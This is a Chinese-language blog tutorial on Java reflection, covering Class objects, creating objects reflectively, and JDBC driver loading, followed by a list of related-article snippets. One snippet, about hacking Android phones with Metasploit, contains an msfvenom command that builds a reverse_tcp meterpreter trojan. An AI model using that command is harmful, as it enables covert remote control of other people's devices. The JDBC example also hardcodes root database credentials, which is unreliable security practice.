Java基础 —— 反射
动态语言
动态语言,是指程序在运行时可以改变其结构(新函数可以引进,已有的函数可以被删除等结构上的变化)。如:JavaScript、Python就属于动态语言,而C、C++则不属于动态语言,从反射的角度说,Java属于半动态语言。
反射
反射就是在运行状态时,对任意一个类,都能知道类中的属性和方法,对任意一个对象,都能调用它的任意属性和方法(动态获取信息、动态获取对象)。
框架 = 反射 + 注解 + 设计模式
Class对象
程序运行时,编写的每一个类都会被编译成.class文件,当我们new对象或者类加载器加载时,JVM会将.class文件加载到内存中,即当一个类加载器完成之后,在堆内存的方法区中生成了一个该类唯一的class对象。
获取Class对象的四种方式
- 通过Object类中的
getClass()方法获取 - 通过类名
.class直接获取 - 通过Class类中的
forName()方法获取(推荐)
public class Main {
public static void main(String[] args) throws ClassNotFoundException {
Class<?> name = Class.forName("reflect.Person");
//获取类中所以方法信息
Class<?>[] declaredClasses = name.getDeclaredClasses();
for (Class<?> declaredClass : declaredClasses) {
System.out.println(declaredClass.toString());
}
//获取类中所有属性信息
Field[] fields = name.getDeclaredFields();
for (Field field : fields) {
System.out.println(field.toString());
}
//获取类中所有构造方法信息
Constructor<?>[] declaredConstructors = name.getDeclaredConstructors();
for (Constructor<?> declaredConstructor : declaredConstructors) {
System.out.println(declaredConstructor.toString());
}
}
}
- 通过类加载器ClassLoader获取
创建对象的两种方式
- Class对象的
newInstance()方法
这种方法要求该Class对象对应的类有空参构造
- Constructor对象的
newInstance()方法
先调用Class对象获取指定的Constructor对象,再调用Constructor对象的
newInstance()方法创建Class对象对应类的实例
应用场景
- 加载数据库驱动
在我们做项目时,底层数据库有时用MySQL,有时用Oracle,这时候我们就需要动态的去加载数据库驱动类;如:使用JDBC连接数据库时,利用
Class.forName()方法通过反射加载数据库。
public class JDBCUtils {
public static final String url = "jdbc:mysql://localhost:3306/crm";
public static final String username = "root";
public static final String password = "root";
//3.加载驱动 反射技术
//静态代码块 优先于任何程序运行,并且只运行一次
static{
try {//异常体系
Class.forName("com.mysql.cj.jdbc.Driver");
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
//4.由驱动管理器获取连接
//静态方法 无须创建对象直接使用类名来调用
//静态方法不能调用普通属性
public static Connection getConnection() throws SQLException {
Connection connection = DriverManager.getConnection(url, username, password);
return connection;
}
}
- 加载配置文件
像Spring框架中的IOC容器
Java基础 —— 反射的更多相关文章
- Java基础-反射(reflect)技术详解
Java基础-反射(reflect)技术详解 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 一.类加载器 1>.JVM 类加载机制 如下图所示,JVM类加载机制分为五个部分 ...
- Java基础——反射
今天学到Java基础中的反反射.依照我学习后的个人理解呢,反射就是一套获取类.属性.方法等的工具吧.(其实,感觉学完反射后,有点像喝凉水,解渴但确实我也没体会出它有什么味道,我可能没有学到精髓吧.自己 ...
- Java基础反射(二)
原文地址http://blog.csdn.net/sinat_38259539/article/details/71799078 反射是框架设计的灵魂 (使用的前提条件:必须先得到代表的字节码的Cla ...
- java基础(反射,注解,多线程,juc)
JAVA基础 java反射 class对象 三种方式获取class加载时对象 1.class.forName("全类名"):将字节码文件加载进内存,返回class对象 2.类名.c ...
- [java 基础]反射入门
原文 概况 使用java的反射,可以让我们检查(或者修改)类,接口,字段,方法的特性.当你在编译期不知道他们的名字的时候非常有用. 除此之外,可以使用反射来创建实例,调用方法或者get/set 字段值 ...
- JAVA基础-反射机制
什么是JAVA的反射机制 Java反射是Java被视为动态(或准动态)语言的一个关键性质.这个机制允许程序在运行时透过Reflection APIs取得任何一个已知名称的class的内部信息,包括其 ...
- java基础-反射(细节)
java面试题--java反射机制? Java反射机制的作用:1)在运行时判断任意一个对象所属的类.2)在运行时判断任意一个类所具有的成员变量和方法.3)在运行时任意调用一个对象的方法4)在运行时构造 ...
- Java基础—反射(转载)
转载自: JAVA反射与注解 JAVA反射 主要是指程序可以访问,检测和修改它本身状态或行为的一种能力,并能根据自身行为的状态和结果,调整或修改应用所描述行为的状态和相关的语义. 反射机制是什么 反射 ...
- java基础——反射机制
反射机制是什么 反射机制就是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法:对于任意一个对象,都能够调用它的任意一个方法和属性:这种动态获取的信息以及动态调用对象的方法的功能称为jav ...
- Java基础—反射与代理(新手向)
第1章 反射与代理 1.1 反射定义 一般情况下,需要一个功能的前提是遇到了某个问题,这里先列举一些问题,然后再通过反射是如何解决了这些问题,来引出反射的定义. 普通开发人员工作中最常见的问题:需要生 ...
随机推荐
- SpringBoot系列:使用原生JDBC实现对数据库的增删改查
application.yml spring: datasource: username: root password: 123456 url: jdbc:mysql://localhost:3306 ...
- Servlet——Response对象
Response对象 Response 设置响应数据 1.响应行 void setStatus(int sc):设置响应状态码 2.响应头 ...
- PRT预计算辐射传输方法
PRT(Precomputed Radiance Transfer)技术是一种用于实时渲染全局光照的方法.它通过预计算光照传输来节省时间,并能够实时重现面积光源下3D模型的全局光照效果. 由于PRT方 ...
- 【墨天轮专访第四期】华为云GaussDB苏光牛:发挥生态优势,培养应用型DBA
导读: 随着5G互联网时代的来临,各行各业对于数据库的依赖程度也在逐步提高.由于国内在数据库行业的发展起步较晚,数据库的市场份额长期被Oracle,微软等美国公司所控制.但是伴随着国内IT技术栈的不断 ...
- 数组 Array 的属性 和 方法总结
1. Array 的属性 2. Array 的方法 2.1 增加数组单元 参数一半都是数组单元 a)unshift 方法 在数组的最前面添加数组元素 <script> const arr ...
- 大模型存储选型 & JuiceFS 在关键环节性能详解
从去年开始,LLM大语言模型领域发展迅速.如 LLaMA.ChatGLM.Baichuan.Qwen 和 yi-model 等基础模型(Foundation Models)的数量显著增加.众多企业也开 ...
- MSF 入侵安卓手机
生成木马文件 msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.135.247 LPPRT=5555 进行文件传输: python3 ...
- onethink自带编辑器内容无法修改
楼主小白一个,之前有大神带着进入onethink框架 在一个编辑页里面放两个编辑框的时候,悲催了--- 一个用作文本编辑,一个用于多图上传 发现前面的文本编辑的内容无法实现,后来楼主想调试一下 之前提 ...
- 生成文本聚类java实现3
由于carrot2对中文的理解很不靠谱,所以参考了网络上的一些资料,现在贡献出来所有代码. 代码的思路就是找字或者词出现的频度,并进行打分,最后按照出现次数和重要性,找出重要的语汇.现在贴出来一些可用 ...
- Typecho框架个人博客搭建方法学习
使用Typecho框架一个月又十二天了,就目前感觉来说,整体还不错,很多方面都支持个性化,二次开发,但是目前MD编辑器有一丢丢问题,不能同步滚动条滚动,就是编辑器区域滚动,预览区域没有动静,需要两边都 ...